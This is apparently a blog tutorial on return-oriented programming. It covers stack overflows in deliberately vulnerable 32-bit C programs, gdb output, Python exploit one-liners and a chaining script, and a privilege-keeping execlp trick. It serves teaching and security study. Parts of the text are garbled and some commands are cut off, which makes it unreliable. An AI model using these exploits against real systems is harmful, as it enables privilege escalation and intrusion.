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Introduction to return oriented programming (ROP)



What is ROP?

Return Oriented Programming (ROP) is a powerful technique used to counter common exploit prevention strategies. In

tags: exploitation tutorial particular, ROP is useful for circumventing Address Space Layout Randomization

(ASLR)¹ and DEP². When using ROP, an attacker uses his/her control over the stack right before the return from a function to direct code execution to some other location in the program. Except on very hardened binaries, attackers can easily find a portion of code that is located in a fixed location (circumventing ASLR) and which is executable (circumventing DEP). Furthermore, it is relatively straightforward to chain several payloads to achieve (almost) arbitrary code execution.

Tue 28 May 2013

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In security.

Before we begin

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If you are attempting to follow along with this tutorial, it might be helpful to have a Linux machine you can compile and run 32 bit code on. If you install the correct libraries, you can compile 32 bit code on a 64 bit machine with the -m32 flag via gcc -m32 hello_world.c. I will target this tutorial mostly at 32 bit programs because ROP on 64 bit follows the same principles, but is just slightly more technically challenging. For the purpose of this tutorial, I will assume that you are familiar with x86 C calling conventions and stack management. I will attempt to provide a brief explanation here, but you are encouraged to explore in more depth on your own. Lastly, you should be familiar with a unix command line interface.

My first ROP

The first thing we will do is use ROP to call a function in a very simple binary. In particular, we will be attempting to call not_called in the following program²:

```
void not_called() {
    printf("Enjoy your shell!\n");
    system("/bin/bash");
}

void vulnerable_function(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) {
    vulnerable_function(argv[1]);
    return 0;
}
```

We disassemble the program to learn the information we will need in order to exploit it: the size of the buffer and the address of not_called:

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```
s adb -a a.out
Reading symbols from /home/ppp/a.out...(no debugging symbols found)...done.
(qdb) disas vulnerable function
Dump of assembler code for function vulnerable function:
   0 \times 08048464 <+0>: push
                             %ebp
                            %esp,%ebp
   0 \times 08048465 < +1>: mov
   0 \times 08048467 < +3>: sub
                           $0x88,%esp
                           0x8(%ebp),%eax
   0x0804846d <+9>: mov
                           %eax,0x4(%esp)
   0x08048470 <+12>: mov
   0x08048474 <+16>: lea
                           -0x6c(%ebp),%eax
   0 \times 08048477 < +19 > : mov
                           %eax,(%esp)
   0x0804847a <+22>: call 0x8048340 <strcpy@plt>
   0x0804847f <+27>: leave
   0x08048480 < +28>: ret
End of assembler dump.
(gdb) print not called
$1 = {<text variable, no debug info>} 0x8048444 <not called>
```

We see that not_called is at 0x8048444 and the buffer 0x6c bytes long. Right before the call to strcpy@plt, the stack in fact looks like:

Since we want our payload to overwrite the return address, we provide 0x6c bytes to fill the buffer, 4 bytes to replace the old %ebp, and the target address (in this case, the address of not called). Our payload looks like:

```
| 0x41414141 ...
|   ... (0x6c bytes of 'A's) |
|   ... 0x41414141
```

We try this and we get our shell4:

```
$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x44\x84\x04\x08"')"
Enjoy your shell!$
```

Calling arguments

Now that we can return to an arbitrary function, we want to be able to pass arbitrary arguments. We will exploit this simple program²:

```
char* not_used = "/bin/sh";

void not_called() {
    printf("Not quite a shell...\n");
    system("/bin/date");
}

void vulnerable_function(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) {
    vulnerable_function(argv[1]);
    return 0;
}
```

This time, we cannot simply return to not_called. Instead, we want to call system with the correct argument. First, we print out the values we need using gdb:

```
$ gdb -q a.out
Reading symbols from /home/ppp/a.out...(no debugging symbols found)...done.
(gdb) pring 'system@plt'
$1 = {<text variable, no debug info>} 0x8048360 <system@plt>
(gdb) x/s not_used
0x8048580: "/bin/sh"
```

In order to call system with the argument not_used, we have to set up the stack. Recall, right after system is called it expects the stack to look like this:

```
| <argument>  |
| <return address> |
```

We will construct our payload such that the stack looks like a call to system(not_used) immediately after the return. We thus make our payload:

We try this and get out shell:

```
$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x60\x83\x04\x08" + "CCCC'
$
```

Return to libc

So far, we've only been looking at contrived binaries that contain the pieces we need for our exploit. Fortunately, ROP is still fairly straightforward without this handicap.

The trick is to realize that programs that use functions from a shared library, like printf from libc, will link the entire library into their address space at run time. This means that even if they never call system, the code for system (and every other function in libc) is accessible at runtime. We can see this fairly easy in gdb:

```
$ ulimit -s unlimited
$ gdb -q a.out
Reading symbols from /home/ppp/a.out...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048404
(gdb) run
Starting program: /home/ppp/a.out

Breakpoint 1, 0x08048404 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x555d2430 <system>
(gdb) find 0x555d2430, +99999999999, "/bin/sh"
0x556f3f18
warning: Unable to access target memory at 0x5573a420, halting search.
1 pattern found.
```

This example illustrates several important tricks. First, the use of ulimit -s unlimited which will disable library randomization on 32-bit programs. Next, we must run the program and break at main, after libraries are loaded, to print values in shared libraries (but after we do so, then even functions unused by the program are available to us). Last, the libc library actually contains the string /bin/sh, which we can find with gdb⁵ use for exploits!

It is fairly straightforward to plug both of these addresses into our previous exploit:

```
$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x30\x24\x5d\x55" + "CCCC'
$
```

Chaining gadgets

With ROP, it is possible to do far more powerful things than calling a single function. In fact, we can use it to run arbitrary code⁶ rather than just calling functions we have available to us. We do this by returning to *gadgets*, which are short sequences of instructions ending in a ret. For example, the following pair of gadgets can be used to write an arbitrary value to an arbitrary location:

```
pop %ecx
pop %eax
ret

mov %eax, (%ecx)
ret
```

These work by poping values from the stack (which we control) into registers and then executing code that uses them. To use, we set up the stack like so:

```
| <address of mov %eax, (%ecx)>
| <value to write>
| <address to write to>
| <address of pop %ecx; pop %eax; ret>
```

You'll see that the first gadget returns to the second gadget, continuing the chain of attacker controlled code execution (this next gadget can continue).

Other useful gadgets include xchg %eax, %esp and add \$0x1c,%esp, which can be used to modify the stack pointer and *pivot* it to a attacker controlled buffer. This is useful if the original vulnerability only gave control over %eip (like in a <u>format string</u> <u>vulnerability</u>) or if the attacker does not control very much of the stack (as would be the case for a short buffer overflow).

Chaining functions

We can also use ROP to chain function calls: rather than a dummy return address, we use a pop; ret gadget to move the stack above the arguments to the first function. Since we are just using the pop; ret gadget to adjust the stack, we don't care what register it pops into (the value will be ignored anyways). As an example, we'll exploit the following binary³:

```
char string[100];
void exec string() {
    system(string);
}
void add bin(int magic) {
    if (magic == 0xdeadbeef) {
        strcat(string, "/bin");
    }
}
void add sh(int magic1, int magic2) {
    if (magic1 == 0xcafebabe && magic2 == 0x0badf00d) {
        strcat(string, "/sh");
    }
}
void vulnerable function(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}
int main(int argc, char** argv) {
    string[0] = 0;
    vulnerable_function(argv[1]);
    return 0;
}
```

We can see that the goal is to call add_bin, then add_sh, then exec_string. When we call add bin, the stack must look like:

```
<argument>
<return address>
```

In our case, we want the argument to be <code>0xdeadbeef</code> we want the return address to be a <code>pop;</code> ret gadget. This will remove <code>0xdeadbeef</code> from the stack and return to the next gadget on the stack. We thus have a gadget to call <code>add_bin(0xdeadbeef)</code> that looks like:

```
| Oxdeadbeef
| <address of pop; ret> |
| <address of add_bin> |
```

Since add sh(0xcafebabe, 0x0badf00d) use two arguments, we need a pop; pop; ret:

```
| 0x0badf00d
| 0xcafebabe
| <address of pop; pop; ret>
| <address of add_sh>
```

When we put these together, our payload looks like:

```
| <address of exec_string>
| 0x0badf00d
| 0xcafebabe
| <address of pop; pop; ret>
| <address of add_sh>
| 0xdeadbeef
| <address of pop; ret>
| <address of add_bin>
| 0x42424242 (fake saved %ebp) |
| 0x41414141 ...
| ... (0x6c bytes of 'A's)
| ... 0x41414141
```

This time we will use a python wrapper (which will also show off the use of the very useful struct python module).

```
#!/usr/bin/python
import os
import struct
# These values were found with `objdump -d a.out`.
pop ret = 0 \times 8048474
pop pop ret = 0 \times 8048473
exec string = 0 \times 08048414
add bin = 0 \times 08048428
add sh = 0 \times 08048476
# First, the buffer overflow.
payload = "A"*0x6c
payload += "BBBB"
# The add bin(0xdeadbeef) gadget.
payload += struct.pack("I", add bin)
payload += struct.pack("I", pop ret)
payload += struct.pack("I", 0xdeadbeef)
# The add sh(0xcafebabe, 0x0badf00d) gadget.
payload += struct.pack("I", add sh)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xcafebabe)
payload += struct.pack("I", 0xbadf00d)
# Our final destination.
payload += struct.pack("I", exec_string)
os.system("./a.out \"%s\"" % payload)
```

Some useful tricks

One common protection you will see on modern systems is for bash to drop privileges if it is executed with a higher effective user id than saved user id. This is a little bit annoying for attackers, because /bin/sh frequently is a symlink to bash. Since system internally executes /bin/sh -c, this means that commands run from system will have privileges dropped!

In order to circumvent this, we will instead use execlp to execute a python script we control in our local directory. We will demonstrate this and a few other tricks while exploiting the following simple program:

```
void vulnerable_read() {
    char buffer[100];
    read(STDIN_FILENO, buffer, 200);
}
int main(int argc, char** argv) {
    vulnerable_read();
    return 0;
}
```

The general strategy will be to execute a python script via execlp, which searches the PATH environment variable for an executable of the correct name.

Unix filenames

We know how to find the address of execlp using gdb, but what file do we execute? The trick is to realize that Unix filenames can have (almost) arbitrary characters in them. We then just have to find a string that functions as a valid filename somewhere in memory. Fortunately, those are are all over the text segment of program. In gdb, we can get all the information we need:

```
$ gdb -q ./a.out
Reading symbols from /home/ppp/a.out...(no debugging symbols found)...done.
(qdb) bread main
```

```
Breakpoint 1 at 0x80483fd
(gdb) run
Starting program: /home/ppp/a.out

Breakpoint 1, 0x080483fd in main ()
(gdb) print execlp
$1 = {<text variable, no debug info>} 0x5564b6f0 <execlp>
(gdb) x/s main
0x80483fa <main>: "U\211\345\203\344\360\350\317\377\377\377\270"
```

We will execute the file U\211\345\203\344\360\350\317\377\377\377\270. We first create this file in some temporary directory and make sure it is executable and in our PATH. We want a bash shell, so for now the file will simply ensure bash will not drop privileges:

```
$ vim $'U\211\345\203\344\360\350\317\377\377\270'
$ cat $'U\211\345\203\344\360\350\317\377\377\377\270'
#!/usr/bin/python
import os
os.setresuid(os.geteuid(), os.geteuid(), os.geteuid())
os.execlp("bash", "bash")
$ chmod +x $'U\211\345\203\344\360\350\317\377\377\377\270'
$ export PATH=$(pwd):$PATH
```

Keeping stdin open

Before we can exploit this, we have to be aware of one last trick. We want to avoid closing stdin when we exec our shell. If we just naively piped output to our program through python, we would see bash execute and then quit immediately. What we do instead is we use a special bash sub shell and cat to keep stdin open. The following command concatenates the output of the python command with standard in, thus keeping it open for bash:

```
cat <(python -c 'print "my_payload"') - | ./a.out</pre>
```

Now that we know all the tricks we need, we can exploit the program. First, we plan what we want the stack to look like:

```
| 0x0 (NULL)
| 0x80483fa <address of the weird string> |
| 0x80483fa <address of the weird string> |
| 0x5564b6f0 <address of execlp> |
| 0x42424242 <fake old %ebp> |
| 0x41414141 ... |
| ... (0x6c bytes of 'A's) |
```

Putting it all together, we get our shell:

```
$ cat <(python -c 'print "A"*0x6c + "BBBB" + "\xf0\xb6\x64\x55" + "\xfa\x83\)</pre>
```

To recap, this exploit required us to use the following tricks in addition to ROP:

- Executing python since bash drops privileges
- Controlling the PATH and executing a file in a directory we control with execlp.
- Choosing a filename that was a "string" of bytes from the code segment.
- Keeping stdin open using bash sub shells and cat.

Debugging

gdb

When you exploit doesn't work the first time, there are some tricks you can use to debug and figure out what is going on. The first thing you should do is run the exploit in gdb with your payload. You should break on the return address of the function you are overflowing and print the stack to make sure it is what you expect. In the

following example, I forgot to do ulimit -s unlimited before calculating libc addresses so the address of execlp is wrong:

```
$ qdb -q a.out
  Reading symbols from /tmp/a.out...(no debugging symbols found)...done.
  (gdb) disas vulnerable read
  Dump of assembler code for function vulnerable read:
     0 \times 080483d4 <+0>: push %ebp
     0 \times 080483d5 <+1>: mov
                              %esp,%ebp
     0x080483d7 <+3>: sub $0x88,%esp
     0x080483dd <+9>: movl $0xc8,0x8(%esp)
     0x080483e5 < +17>: lea -0x6c(\%ebp),\%eax
     0x080483e8 < +20>: mov %eax, 0x4(%esp)
     0x080483ec < +24>: movl $0x0,(%esp)
     0x080483f3 <+31>: call 0x80482f0 <read@plt>
     0x080483f8 <+36>: leave
     0x080483f9 < +37>: ret
  End of assembler dump.
  (qdb) break *0x080483f9
  Breakpoint 1 at 0x80483f9
  (gdb) run <in
  Starting program: /tmp/a.out <in
  Breakpoint 1, 0x080483f9 in vulnerable_read ()
  (gdb) x/4a $esp
  0xffffd6ec: 0x5564b6f0 0x80483fa <main>
                                               0x80483fa <main>
                                                                    0 \times 0
It should look like this:
  (gdb) x/4a $esp
  0xffffd6ec: 0x5564b6f0 <execlp> 0x80483fa <main> 0x80483fa <main>
                                                                            0 \times 0
```

strace

Another really useful tool is strace, which will print out every syscall made by the program. In the following example, I forgot to set PATH: the exploit worked but it was

unable to find my file:

In this case, I forgot to keep stdin open, so it happily executes my python program and bash and then immediately exits after a 0 byte read:

```
$ python -c 'print "A"*0x6c + "BBBB" + "\xf0\xb6\x64\x55" + "\xfa\x83\x04\x0{
... <snip> ...
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA."..., 200) = 129
execve("/tmp/U\211\345\203\344\360\350\317\377\377\270", [], [/* 30 vars
... <snip> ...
                                        = 1337
geteuid()
geteuid()
                                        = 1337
geteuid()
                                        = 1337
setresuid(1337, 1337, 1337)
                                        = 0
execve("/bin/bash", ["bash"], [/* 21 vars */]) = 0
... <snip> ...
read(0, "", 1)
                                        = 0
exit group(0)
```

1. <u>ASLR</u> is the technique where portions of the program, such as the stack or the heap, are placed at a random location in memory when the program is first run. This causes the address of stack buffers, allocated objects, etc to be randomized between runs of the program and prevents the attacker. <u>←</u>

- 2. <u>DEP</u> is the technique where memory can be either writable or executable, but not both. This prevents an attacker from filling a buffer with shellcode and executing it. While this usually requires hardware support, it is quite commonly used on modern programs. *⊆*
- 3. To make life easier for us, we compile with gcc -m32 -fno-stack-protector easy_rop.c. ←
- 4. You'll note that we use print the exploit string in a python subshell. This is so we can print escape characters and use arbitrary bytes in our payload. We also surround the subshell in double quotes in case the payload had whitespace in it. $\stackrel{\ }{=}$
- 5. These can be found in the libc library itself: ldd a.out tells us that the library can be found at /lib/i386-linux-gnu/libc.so.6. We can use objdump, nm, strings, etc. on this library to directly find any information we need. These addresses will all be offset from the base of libc in memory and can be used to compute the actual addresses by adding the offset of libc in memory. ←
- 6. I believe someone even <u>tried to prove</u> that ROP is turing complete. <u>←</u>
- 7. Note the \$'\211' syntax to enter escape characters. $\stackrel{\longleftarrow}{}$
- 8. To see why this is necessary, compare the behavior of echo ls | bash to cat <(echo ls) | bash. ←

Comments!

